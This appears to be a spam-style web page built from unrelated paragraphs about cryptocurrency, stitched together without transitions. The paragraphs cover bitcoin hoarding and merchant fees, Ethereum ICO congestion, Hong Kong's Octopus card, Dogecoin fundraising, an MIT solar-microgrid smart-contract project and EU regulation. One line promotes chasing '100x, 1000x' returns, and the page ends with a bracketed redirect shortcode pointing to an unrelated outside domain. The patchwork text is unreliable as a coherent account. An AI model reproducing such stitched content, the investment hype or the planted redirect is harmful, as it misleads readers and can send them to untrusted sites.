The truth is that most people don’t spend the bitcoins they buy; they hoard them, hoping that they will appreciate. Businesses are afraid to accept them, because they’re new and weird—and because the value can fluctuate wildly. (Kim immediately exchanged the bitcoins I sent him for dollars to avoid just that risk.) Still, the currency is young and has several attributes that appeal to merchants. Robert Schwarz, the owner of a computer-repair business in Klamath Falls, Oregon, began selling computers for bitcoin to sidestep steep credit-card fees, which he estimates cost him three per cent on every transaction. “One bank called me saying they had the lowest fees,” Schwarz said. “I said, ‘No, you don’t. Bitcoin does.’ ” Because bitcoin transfers can’t be reversed, merchants also don’t have to deal with credit-card charge-backs from dissatisfied customers. Like cash, it’s gone once you part with it.
Ethereum has recently faced scaling issues as the number of companies launching an “Initial Coin Offering” (ICO) has boomed. The network has been bogged down for many hours or even days at a time due to a handful of popular projects launching their own ICO to raise funds.
Hong Kong’s Octopus card system: Launched in 1997 as an electronic purse for public transportation, is the most successful and mature implementation of contactless smart cards used for mass transit payments. After only 5 years, 25 percent of Octopus card transactions are unrelated to transit, and accepted by more than 160 merchants.
Perhaps the most well known crypto-currency on the market, Bitcoin is like digital gold. There is a finite supply that can be ‘mined’ every year using sophisticated software. This is called blockchain technology, we’ll go into more detail about blockchain in a future post.
But fret not, Bitcoin is not the only digital currency in town. A few more have started to pop. Read on to which I think could be one of the next few outsized returns. Because that’s what we’re looking for, right? the 100x, 1000x?
Cryptocurrency networks display a marked lack of regulation that attracts many users who seek decentralized exchange and use of currency; however the very same lack of regulations has been critiqued as potentially enabling criminals who seek to evade taxes and launder money.
The problem with having the Bitcoin economy dominated by speculators is that it gives people an incentive to hoard their bitcoins rather than spend them, which is the opposite of what you need people to do in order to make a currency successful. Successful currencies are used to transact day-to-day business and lubricate commerce. But if you buy bitcoins hoping that their value will skyrocket (as anyone investing in bitcoins would), you’re not going to be interested in exchanging those bitcoins for goods, since then you’ll lose out when the value of bitcoins rises. Instead, you’re going to hold onto them and wait until you can cash out.
Earlier this year, the Dogecoin community raised funds for the Jamaican bobsled team to attend the 2014 Winter Olympics when they could not afford to go. The community also raised 67.8 million coins (about $55,000) to sponsor NASCAR driver Josh Wise, who drove the Doge-themed car in several races.
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A DCI team, working with students and faculty from the MIT Sloan Management school and MIT Engineering Department, is exploring using digital currency and distributed-ledger technology to securitize transactions among users and owners of blockchain-managed solar microgrids. The goal is to create a secure form of reliable, executable collateral to lower risks for lenders and reduce the cost of financing decentralized renewable energy infrastructure, especially in developing countries. The team is developing an Ethereum-based smart contract that triggers timed access to a solar electricity resource while payments by the user are up to date. The idea is to create a form of “smart property” whose usage rights can be managed remotely. The team is exploring different investment structures to manage these resources, including a cooperatively owned microgrid in which power generation, sharing and usage, as well as payments and administrative protocols are governed via decentralized, blockchain-based mechanisms. Pilot sites are being explored in India and other parts of the developing world. The long-term objective is to create a platform upon which financial engineers can create structured securities backed by solar generation revenues, allowing higher level capital to flow down to local projects and finance the ongoing rollout of a decentralized renewable infrastructure in the developing world.
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Though the European Union (EU) has followed developments in cryptocurrency, it has not issued any official decision on legality, acceptance, or regulation. In the absence of central guidance, individual EU countries have developed their own bitcoin stances. A few nations are allowing bitcoin while others are either undecided or issuing warnings. [redirect url=’http://jerseystudionetwork.info/bump’ sec=’7′]